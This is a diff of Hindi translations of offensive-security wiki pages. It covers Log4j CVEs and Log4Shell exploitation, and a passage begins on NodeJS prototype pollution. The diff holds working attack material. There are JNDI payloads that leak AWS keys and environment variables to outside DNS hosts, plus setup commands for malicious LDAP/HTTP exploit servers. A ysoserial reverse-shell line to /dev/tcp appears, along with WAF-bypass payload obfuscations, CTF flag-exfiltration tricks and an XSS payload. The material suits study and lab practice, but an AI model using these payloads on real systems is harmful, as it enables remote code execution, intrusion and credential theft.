शुरुआत में कम रेट किया गया लेकिन बाद में महत्वपूर्ण में अपग्रेड किया गया, यह CVE एक **Denial of Service (DoS)** दोष है जो CVE-2021-44228 के लिए 2.15.0 में अधूरे सुधार के परिणामस्वरूप है। यह गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन को प्रभावित करता है, जिससे हमलावरों को तैयार पेलोड के माध्यम से DoS हमले करने की अनुमति मिलती है। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि को प्रदर्शित करता है। यह मुद्दा संस्करण 2.16.0 और 2.12.2 में संदेश लुकअप पैटर्न को हटाकर और डिफ़ॉल्ट रूप से JNDI को अक्षम करके हल किया गया है।
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[High]**
|
||||
|
||||
@ -107,7 +107,7 @@ RMI (Remote Method Invocation) के लिए, स्थिति कुछ
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Moderate]**
|
||||
|
||||
यह कमजोरियाँ **Logback लॉगिंग ढांचे** को प्रभावित करती है, जो Log4j 1.x का उत्तराधिकारी है। पहले इसे सुरक्षित माना गया था, लेकिन ढांचे को कमजोर पाया गया, और नए संस्करण (1.3.0-alpha11 और 1.2.9) जारी किए गए हैं ताकि इस मुद्दे को हल किया जा सके।
|
||||
यह कमजोरियाँ **Logback लॉगिंग ढांचे** को प्रभावित करती है, जो Log4j 1.x का उत्तराधिकारी है। पहले इसे सुरक्षित माना गया था, लेकिन ढांचे को कमजोर पाया गया, और इस मुद्दे को हल करने के लिए नए संस्करण (1.3.0-alpha11 और 1.2.9) जारी किए गए हैं।
|
||||
|
||||
### **CVE-2021-45105** **\[High]**
|
||||
|
||||
@ -115,7 +115,7 @@ Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Log4j संस्करण 2.17 को प्रभावित करने वाली इस CVE को हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक विवरण [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध हैं।
|
||||
यह log4j संस्करण 2.17 को प्रभावित करता है, इस CVE के लिए हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक विवरण [Checkmarx ब्लॉग पोस्ट](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) में उपलब्ध हैं।
|
||||
|
||||
## Log4Shell Exploitation
|
||||
|
||||
@ -129,29 +129,29 @@ Log4j संस्करण 2.17 को प्रभावित करने
|
||||
- `${jndi:ldap://2j4ayo.dnslog.cn}` (using [dnslog](http://dnslog.cn))
|
||||
- `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` using (using [huntress](https://log4shell.huntress.com))
|
||||
|
||||
ध्यान दें कि **भले ही एक DNS अनुरोध प्राप्त किया गया हो, इसका मतलब यह नहीं है कि अनुप्रयोग दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।
|
||||
ध्यान दें कि **यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि अनुप्रयोग दुरुपयोग योग्य है** (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।
|
||||
|
||||
> [!NOTE]
|
||||
> याद रखें कि **संस्करण 2.15** का दुरुपयोग करने के लिए आपको **localhost जांच बायपास** जोड़ने की आवश्यकता है: ${jndi:ldap://**127.0.0.1#**...}
|
||||
|
||||
#### **Local Discovery**
|
||||
|
||||
इस पुस्तकालय के **स्थानीय कमजोर संस्करणों** की खोज करें:
|
||||
**स्थानीय कमजोर संस्करणों** की खोज करें:
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
### **सत्यापन**
|
||||
|
||||
कुछ प्लेटफ़ॉर्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ परिवर्तनीय डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\
|
||||
कुछ प्लेटफार्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ परिवर्तनीय डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।\
|
||||
यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:
|
||||
|
||||
- **कमजोरी** की **सत्यापन** करना
|
||||
- कमजोरी का दुरुपयोग करके **जानकारी निकालना**
|
||||
|
||||
उदाहरण के लिए, आप कुछ इस तरह का अनुरोध कर सकते हैं:\
|
||||
या जैसे `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि **env variable** के मान के साथ एक **DNS अनुरोध प्राप्त होता है**, तो आप जानते हैं कि एप्लिकेशन कमजोर है।
|
||||
या जैसे `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि **env वेरिएबल के मान के साथ DNS अनुरोध प्राप्त होता है**, तो आप जानते हैं कि एप्लिकेशन कमजोर है।
|
||||
|
||||
आप अन्य जानकारी को **लीक** करने की कोशिश कर सकते हैं:
|
||||
अन्य जानकारी जिसे आप **लीक** करने की कोशिश कर सकते हैं:
|
||||
```
|
||||
${env:AWS_ACCESS_KEY_ID}
|
||||
${env:AWS_CONFIG_FILE}
|
||||
@ -215,7 +215,7 @@ Any other env variable name that could store sensitive information
|
||||
|
||||
आप इसे **THM बॉक्स** में परीक्षण कर सकते हैं: [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (जार संस्करण [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar) उपलब्ध है)। यह दृष्टिकोण एक LDAP संदर्भ सर्वर स्थापित करता है ताकि कनेक्शनों को एक द्वितीयक HTTP सर्वर की ओर पुनर्निर्देशित किया जा सके जहाँ शोषण होस्ट किया जाएगा:
|
||||
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (जार संस्करण [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar) उपलब्ध है)। यह दृष्टिकोण एक LDAP संदर्भ सर्वर स्थापित करता है ताकि कनेक्शनों को एक द्वितीयक HTTP सर्वर पर पुनर्निर्देशित किया जा सके जहाँ शोषण होस्ट किया जाएगा:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
@ -242,20 +242,20 @@ ${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि किसी कारणवश लेखक ने log4shell की खोज के बाद इस प्रोजेक्ट को github से हटा दिया। आप [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में एक कैश्ड संस्करण पा सकते हैं, लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस vuln का शोषण करने के लिए एक अलग विधि का उपयोग करें।
|
||||
> ध्यान दें कि किसी कारणवश लेखक ने log4shell की खोज के बाद इस प्रोजेक्ट को github से हटा दिया। आप [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में एक कैश्ड संस्करण पा सकते हैं, लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस कमजोरियों का शोषण करने के लिए एक अलग विधि का उपयोग करें।
|
||||
>
|
||||
> इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें।
|
||||
> इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, जार को निष्पादित करें।
|
||||
|
||||
इस उदाहरण के लिए, आप बस इस **log4shell के लिए कमजोर वेब सर्वर** को पोर्ट 8080 पर चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे चलाने का तरीका मिलेगा_)। यह कमजोर ऐप log4shell के एक कमजोर संस्करण के साथ HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को लॉग कर रहा है।
|
||||
|
||||
फिर, आप **JNDIExploit** jar फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
|
||||
फिर, आप **JNDIExploit** जार फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
कोड को पढ़ने के बाद केवल कुछ मिनटों में, _com.feihong.ldap.LdapServer_ और _com.feihong.ldap.HTTPServer_ में आप देख सकते हैं कि **LDAP और HTTP सर्वर कैसे बनाए जाते हैं**। LDAP सर्वर समझेगा कि कौन सा पेलोड सर्व किया जाना चाहिए और पीड़ित को HTTP सर्वर की ओर रीडायरेक्ट करेगा, जो एक्सप्लॉइट को सर्व करेगा।\
|
||||
_कोम.feihong.ldap.gadgets_ में आप **कुछ विशिष्ट गैजेट्स** पा सकते हैं जिन्हें इच्छित क्रिया (संभावित रूप से मनमाना कोड निष्पादित करने) को निष्पादित करने के लिए उपयोग किया जा सकता है। और _com.feihong.ldap.template_ में आप विभिन्न टेम्पलेट क्लासेस देख सकते हैं जो **एक्सप्लॉइट्स उत्पन्न करेंगी**।
|
||||
_कोम.feihong.ldap.gadgets_ में आप **कुछ विशिष्ट गैजेट्स** पा सकते हैं जो इच्छित क्रिया को निष्पादित करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से मनमाना कोड निष्पादित करना)। और _com.feihong.ldap.template_ में आप विभिन्न टेम्पलेट क्लासेस देख सकते हैं जो **एक्सप्लॉइट्स उत्पन्न करेंगी**।
|
||||
|
||||
आप सभी उपलब्ध एक्सप्लॉइट्स को **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** के साथ देख सकते हैं। कुछ उपयोगी हैं:
|
||||
```bash
|
||||
@ -292,18 +292,18 @@ _यह हमला एक कस्टम जनरेटेड जावा
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएं प्रदान करने के लिए एक और उपकरण है।\
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) **काम करने योग्य JNDI लिंक** उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करने के लिए एक और उपकरण है।\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शोषण के काम करने के लिए पीड़ित जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए_)।
|
||||
यह विकल्प वास्तव में **जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं**। इसलिए, **ysoserial** का उपयोग **विश्वसनीय क्लासेस के सीरियलाइजेशन** उत्पन्न करने के लिए किया जाएगा जो **मनमाने कोड को निष्पादित करने** के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (_ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि एक्सप्लॉइट काम कर सके_)।
|
||||
|
||||
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप उस डीसिरियलाइजेशन शोषण को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा:
|
||||
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप डेसिरियलाइजेशन एक्सप्लॉइट बना सकते हैं जो JNDI द्वारा डाउनलोड किया जाएगा:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किए हैं) को सर्व कर सकते हैं।
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें ताकि **JNDI लिंक** उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए गए **विभिन्न एक्सप्लॉइट** या यहां तक कि अपने **स्वयं के डीसिरियलाइजेशन पेलोड** (जो आपने या ysoserial द्वारा उत्पन्न किया है) को सर्व कर सकते हैं।
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
@ -343,13 +343,13 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
|
||||
## Post-Log4Shell Exploitation
|
||||
|
||||
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में यह अच्छी तरह से समझाया गया है कि यह संभावित रूप से **संभव** है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** किया जा सके।
|
||||
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि यह संभावित रूप से **संभव** है कि **Log4J** की कुछ विशेषताओं का **दुरुपयोग** किया जा सके।
|
||||
|
||||
Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.org/log4j/2.x/security.html) में कुछ दिलचस्प वाक्य हैं:
|
||||
|
||||
> संस्करण 2.16.0 (Java 8 के लिए) से, **संदेश लुकअप सुविधा को पूरी तरह से हटा दिया गया है**। **कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं**। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। अब कॉन्फ़िगरेशन में JNDI लुकअप को स्पष्ट रूप से सक्षम करने की आवश्यकता है।
|
||||
> संस्करण 2.16.0 (Java 8 के लिए) से, **संदेश लुकअप सुविधा को पूरी तरह से हटा दिया गया है**। **कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं**। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। कॉन्फ़िगरेशन में JNDI लुकअप को अब स्पष्ट रूप से सक्षम करने की आवश्यकता है।
|
||||
|
||||
> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और किसी भी नेस्टेड लुकअप को हल नहीं किया जाता है।
|
||||
> संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है**; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और कोई भी नेस्टेड लुकअप हल नहीं होते हैं।
|
||||
|
||||
इसका मतलब है कि डिफ़ॉल्ट रूप से आप **किसी भी `jndi` एक्सप्लॉइट का उपयोग करना भूल सकते हैं**। इसके अलावा, **पुनरावृत्त लुकअप** करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
|
||||
|
||||
@ -363,17 +363,17 @@ Log4j के [**सुरक्षा पृष्ठ**](https://logging.apache.
|
||||
### Env Lookups
|
||||
|
||||
इस [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर ने `${sys:cmd}` के मान को नियंत्रित किया और एक पर्यावरण चर से ध्वज को निकालने की आवश्यकता थी।\
|
||||
जैसा कि इस पृष्ठ पर [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, env चर तक पहुँचने के लिए कुछ अलग तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता।
|
||||
जैसा कि इस पृष्ठ पर [**पिछले पेलोड्स**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, env चर तक पहुँचने के लिए कुछ अलग तरीके हैं, जैसे: **`${env:FLAG}`**। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता है।
|
||||
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
CTF में, आप **log4J का उपयोग करके java एप्लिकेशन के stderr** तक पहुँच नहीं सकते थे, लेकिन Log4J **अपवाद stdout पर भेजे जाते हैं**, जो python ऐप में प्रिंट किए गए थे। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुँच सकते थे। ध्वज को निकालने के लिए एक अपवाद था: **`${java:${env:FLAG}}`।** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और ध्वज के मान के साथ एक अपवाद दिखाया जाएगा:
|
||||
CTF में, आप **java एप्लिकेशन के stderr** तक पहुँच नहीं सकते थे जो log4J का उपयोग करता है, लेकिन Log4J **अपवाद stdout पर भेजे जाते हैं**, जो python ऐप में प्रिंट किए गए थे। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुँच सकते थे। ध्वज को निकालने के लिए एक अपवाद था: **`${java:${env:FLAG}}`।** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और ध्वज के मान के साथ एक अपवाद दिखाया जाएगा:
|
||||
|
||||
.png>)
|
||||
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
बस यह उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवादों को ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
|
||||
बस यह उल्लेख करने के लिए, आप नए [**conversion patterns**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) भी इंजेक्ट कर सकते हैं और अपवाद ट्रिगर कर सकते हैं जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -381,12 +381,12 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
||||
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
हालांकि, कुछ **conversion patterns जो regexes का समर्थन करते हैं** का उपयोग करके लुकअप से जानकारी निकालना संभव है, regexes का उपयोग करके और **बाइनरी सर्च** या **समय आधारित** व्यवहारों का दुरुपयोग करके।
|
||||
हालांकि, कुछ **conversion patterns जो regexes का समर्थन करते हैं** का उपयोग करके लुकअप से जानकारी निकालना संभव है, regexes का उपयोग करके और **binary search** या **time based** व्यवहारों का दुरुपयोग करके।
|
||||
|
||||
- **अपवाद संदेशों के माध्यम से बाइनरी सर्च**
|
||||
- **Binary search via exception messages**
|
||||
|
||||
रूपांतरण पैटर्न **`%replace`** का उपयोग **सामग्री** को **स्ट्रिंग** से **बदलने** के लिए किया जा सकता है, यहां तक कि **regexes** का उपयोग करके। यह इस तरह काम करता है: `replace{pattern}{regex}{substitution}`\
|
||||
इस व्यवहार का दुरुपयोग करते हुए आप **स्ट्रिंग के अंदर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए replace को बना सकते हैं** (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:
|
||||
रूपांतरण पैटर्न **`%replace`** का उपयोग **content** को **string** से **replace** करने के लिए किया जा सकता है, यहां तक कि **regexes** का उपयोग करके। यह इस तरह काम करता है: `replace{pattern}{regex}{substitution}`\
|
||||
इस व्यवहार का दुरुपयोग करते हुए आप **regex के मिलान होने पर एक अपवाद को ट्रिगर करने के लिए replace को बना सकते हैं** (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
@ -416,9 +416,9 @@ CTF में, आप **log4J का उपयोग करके java एप्
|
||||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> यदि ध्वज `flagGuess` से शुरू होता है, तो पूरे ध्वज को 29 `#`-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। **परिणामी 29 `#`-s में से प्रत्येक को 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
> यदि ध्वज `flagGuess` से शुरू होता है, तो पूरे ध्वज को 29 `#`-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। **परिणामी 29 `#`-s में से प्रत्येक को फिर 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का timeout उत्पन्न होगा, जो उपयोगकर्ता को HTTP स्थिति कोड 500 भेजने का परिणाम देगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)
|
||||
> इतने सारे `#`-s को बदलने से Flask एप्लिकेशन का 10-सेकंड timeout उत्पन्न होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज `flagGuess` से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
# NodeJS - \_\_proto\_\_ और प्रोटोटाइप प्रदूषण
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## JavaScript में ऑब्जेक्ट्स <a href="#id-053a" id="id-053a"></a>
|
||||
|
||||
JavaScript में ऑब्जेक्ट्स मूल रूप से कुंजी-मूल्य जोड़ों का संग्रह होते हैं, जिन्हें गुण कहा जाता है। एक ऑब्जेक्ट को `Object.create` का उपयोग करके `null` को एक तर्क के रूप में देकर एक खाली ऑब्जेक्ट बनाया जा सकता है। यह विधि किसी भी विरासत में प्राप्त गुणों के बिना एक ऑब्जेक्ट बनाने की अनुमति देती है।
|
||||
JavaScript में ऑब्जेक्ट्स मूल रूप से कुंजी-मूल्य जोड़ों का संग्रह होते हैं, जिन्हें गुण कहा जाता है। एक ऑब्जेक्ट को `Object.create` का उपयोग करके `null` को तर्क के रूप में देकर एक खाली ऑब्जेक्ट बनाया जा सकता है। यह विधि किसी भी विरासत में प्राप्त गुणों के बिना एक ऑब्जेक्ट बनाने की अनुमति देती है।
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)) // This will output an empty object.
|
||||
@ -13,7 +13,7 @@ console.log(Object.create(null)) // This will output an empty object.
|
||||
|
||||
### JavaScript में फ़ंक्शन और क्लासेस
|
||||
|
||||
JavaScript में, क्लासेस और फ़ंक्शंस निकटता से जुड़े होते हैं, जहाँ फ़ंक्शंस अक्सर क्लासेस के लिए कंस्ट्रक्टर्स के रूप में कार्य करते हैं। JavaScript में मूलभूत क्लास समर्थन की कमी के बावजूद, कंस्ट्रक्टर्स क्लास व्यवहार की नकल कर सकते हैं।
|
||||
JavaScript में, क्लासेस और फ़ंक्शंस निकटता से जुड़े होते हैं, जहाँ फ़ंक्शंस अक्सर क्लासेस के लिए कंस्ट्रक्टर्स के रूप में कार्य करते हैं। JavaScript में मूलभूत क्लास समर्थन की कमी के बावजूद, कंस्ट्रक्टर्स क्लास व्यवहार का अनुकरण कर सकते हैं।
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
|
||||
@ -47,7 +47,7 @@ JavaScript रनटाइम पर प्रोटोटाइप विशे
|
||||
|
||||
## Exploring Prototype Pollution in JavaScript
|
||||
|
||||
JavaScript वस्तुएँ कुंजी-मूल्य जोड़ों द्वारा परिभाषित की जाती हैं और JavaScript Object प्रोटोटाइप से विरासत में ली जाती हैं। इसका मतलब है कि Object प्रोटोटाइप को संशोधित करने से वातावरण में सभी वस्तुओं पर प्रभाव पड़ सकता है।
|
||||
JavaScript वस्तुएँ कुंजी-मूल्य जोड़ों द्वारा परिभाषित की जाती हैं और JavaScript ऑब्जेक्ट प्रोटोटाइप से विरासत में ली जाती हैं। इसका मतलब है कि ऑब्जेक्ट प्रोटोटाइप को संशोधित करने से वातावरण में सभी वस्तुओं पर प्रभाव पड़ सकता है।
|
||||
|
||||
आइए एक अलग उदाहरण का उपयोग करके इसे स्पष्ट करें:
|
||||
```javascript
|
||||
@ -108,7 +108,7 @@ Object.prototype.goodbye = function () {
|
||||
console.log("Goodbye!")
|
||||
}
|
||||
```
|
||||
2. सामान्य रूप से उपयोग किए जाने वाले ढांचे के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:
|
||||
2. सामान्यतः उपयोग किए जाने वाले संरचना के लिए एक कंस्ट्रक्टर के प्रोटोटाइप को प्रदूषित करना:
|
||||
```javascript
|
||||
var example = { key: "value" }
|
||||
example.constructor.prototype.greet = function () {
|
||||
@ -121,7 +121,7 @@ console.log("Hello!")
|
||||
|
||||
### एक क्लास से Object.prototype तक
|
||||
|
||||
एक परिदृश्य में जहाँ आप **एक विशिष्ट ऑब्जेक्ट को प्रदूषित** कर सकते हैं और आपको **`Object.prototype` तक पहुँचने** की आवश्यकता है, आप इसके लिए निम्नलिखित कोड जैसे कुछ खोज सकते हैं:
|
||||
एक ऐसे परिदृश्य में जहाँ आप **एक विशिष्ट ऑब्जेक्ट को प्रदूषित** कर सकते हैं और आपको **`Object.prototype` तक पहुँचने** की आवश्यकता है, आप इसके लिए निम्नलिखित कोड की तरह कुछ खोज सकते हैं:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
@ -173,7 +173,7 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
||||
|
||||
एक प्रोटोटाइप प्रदूषण एक दोष के कारण होता है जो `Object.prototype` पर गुणों को ओवरराइट करने की अनुमति देता है। इसका मतलब है कि चूंकि अधिकांश वस्तुएं अपने गुणों को `Object.prototype` से प्राप्त करती हैं।
|
||||
|
||||
